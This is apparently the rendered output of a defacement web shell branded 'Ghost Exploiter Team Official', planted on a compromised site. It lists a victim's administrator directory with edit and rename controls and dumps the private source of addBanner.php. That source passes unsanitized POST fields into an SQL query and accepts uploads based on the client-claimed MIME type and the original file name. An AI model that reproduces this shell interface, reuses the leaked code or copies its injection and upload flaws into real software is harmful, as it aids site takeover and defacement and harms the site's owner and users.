Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home2
/
ajwaeing
/
public_html
/
administrator
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
bootstrap
--
ren
classes
--
ren
dist
--
ren
images
--
ren
js
--
ren
plugins
--
ren
addBanner.php
6.448KB
edt
ren
addCategory.php
4.82KB
edt
ren
addPage.php
7.323KB
edt
ren
addProduct.php
5.96KB
edt
ren
changePassword.php
3.068KB
edt
ren
delBanner.php
0.54KB
edt
ren
dishcode.php
0.269KB
edt
ren
editBanner.php
7.394KB
edt
ren
editCategory.php
5.238KB
edt
ren
editPage.php
9.358KB
edt
ren
editStaff.php
6.956KB
edt
ren
error_log
0.199KB
edt
ren
header.php
2.023KB
edt
ren
home.php
0.037KB
edt
ren
index.php
5.087KB
edt
ren
lock-screen.php
3.122KB
edt
ren
lock.php
0.662KB
edt
ren
login.php
3.983KB
edt
ren
logout.php
0.091KB
edt
ren
pager.php
2.325KB
edt
ren
pages.php
0.229KB
edt
ren
sidebar.php
1.964KB
edt
ren
styles.css
0.637KB
edt
ren
viewBanners.php
5.173KB
edt
ren
viewCategories.php
3.404KB
edt
ren
viewPages.php
4.314KB
edt
ren
viewProducts.php
3.085KB
edt
ren
<?php require_once "classes/dbConnection.php"; $db = new dbConnection(); $check = 0; if(isset($_POST["bname"]) && !empty($_POST["bname"])) { $bname = $db->clean($_POST["bname"]); $bcomments = $db->clean($_POST["bcomments"]); $bstatus = $_POST["bstatus"]; $border = $_POST["border"]; $bimage = $_FILES["bimage"]["name"]; $alignment = $_POST["alignment"]; //echo $_FILES["catLogo"]["error"]; if (($_FILES["bimage"]["type"] == "image/jpeg") || ($_FILES["bimage"]["type"] == "image/jpeg")) { if($_FILES["bimage"]["error"] > 0) { $check = 1; } else { move_uploaded_file($_FILES["bimage"]["tmp_name"], "../images/slider/" . $_FILES["bimage"]["name"]); $Qry = "insert into banners set bname='$bname', bcomments='$bcomments', bstatus='$bstatus', border='$border', bimage='images/slider/$bimage', alignment='$alignment'"; //echo $Qry; //exit; if($db->query($Qry)) { header("location:index.php?action=viewBanners&msg=1"); exit; } else { header("location:index.php?action=viewBanners&msg=4"); exit; } } } //$userID = $_SESSION["userID"]; //$today = date("Y-m-d"); } else { $bname = ""; $bcomments = ""; $bstatus = ""; $bimage = ""; $border = ""; } ?> <script type="text/javascript"> $(document).ready(function(){ $("#form1").validate({ rules: { bimage: { required:true, accept: "jpg|jpeg", filesize: 1048576} }, messages: { bimage: { required:"Banner image is required.", accept: "Please select only JPEG images.", filesize: "File size must be less than 1MB"} } }); $('#bname').jqEasyCounter({ 'maxChars': 150, 'maxCharsWarning': 135 }); $('#bcomments').jqEasyCounter({ 'maxChars': 250, 'maxCharsWarning': 230 }); }); $.validator.addMethod('filesize', function(value, element, param) { // param = size (en bytes) // element = element to validate (<input>) // value = value of the element (file name) return this.optional(element) || (element.files[0].size <= param) }); </script> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1>Add Banner</h1> <ol class="breadcrumb"> <li><a href="index.php"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="index.php?action=viewBanners"><i class="fa fa-dashboard"></i> Banner Management</a></li> <li class="active">Add Banner</li> </ol> </section> <section class="content"> <div class="row"> <div class="col-xs-12"> <div class="box-header"> </div><!-- /.box-header --> <div class="box"> <div class="box-body"> <form name="form1" id="form1" method="post" action="addBanner.php" enctype="multipart/form-data"> <table class="table table-striped"> <?php if($check==1) { ?> <tr> <td colspan="2" class="error"> <?php echo $_FILES["bannerImage"]["error"]; ?> </td> </tr> <?php } ?> <tr> <td class="leftCell">Banner Name: </td> <td class="rightCell"><input name="bname" type="text" required class="form-control" id="bname" size="50" maxlength="100" /></td> </tr> <tr> <td class="leftCell">Description:<br /> <span style="font-size:10px;">One sentence per line for text appear on the banner</span></td> <td class="rightCell"> <textarea name="bcomments" cols="50" rows="4" id="bcomments" class="form-control"></textarea></td> </tr> <tr> <td class="leftCell">Text Alignment: </td> <td class="rightCell"> <select name="alignment" id="alignment" required class="form-control"> <option value="" selected="selected">--Please Select--</option> <option value="left">Left</option> <option value="center">Center</option> <option value="right">Right</option> </select> </td> </tr> <tr> <td class="leftCell">Banner Status: </td> <td class="rightCell"> <select name="bstatus" id="bstatus" required class="form-control"> <option value="" selected="selected">--Please Select--</option> <option value="0">Inactive</option> <option value="1">Active</option> </select> </td> </tr> <tr> <td class="leftCell">Display Order: </td> <td class="rightCell"> <select name="border" id="border" required class="form-control"> <option value="" selected="selected">--Please Select--</option> <?php for($i=1; $i<=10; $i++) { ?> <option value="<?=$i?>"><?=$i?></option> <?php } ?> </select> </td> </tr> <tr> <td class="leftCell">Banner Image:</td> <td class="rightCell"><input type="file" name="bimage" id="bimage" size="60" class="form-control" required /><br /> <span style="font-size:10px;">Width: 1920px, Height: 600px, Image Format: JPEG</span></td> </tr> <tr> <td align="right"><input type="submit" id="submit" value=" Submit " class="btn btn-primary" /></td> <td align="left"><a href="index.php?action=viewBanners"><input type="button" value=" Cancel " class="btn btn-danger" /></a></td> </tr> </table> </form> </div><!-- /.box-body --> <div class="box-footer"> </div> </div><!-- /.box --> </div><!-- /.col --> </div><!-- /.row --> </section> <!-- Main content --> <!-- /.content --> </div>
<=Back
Liking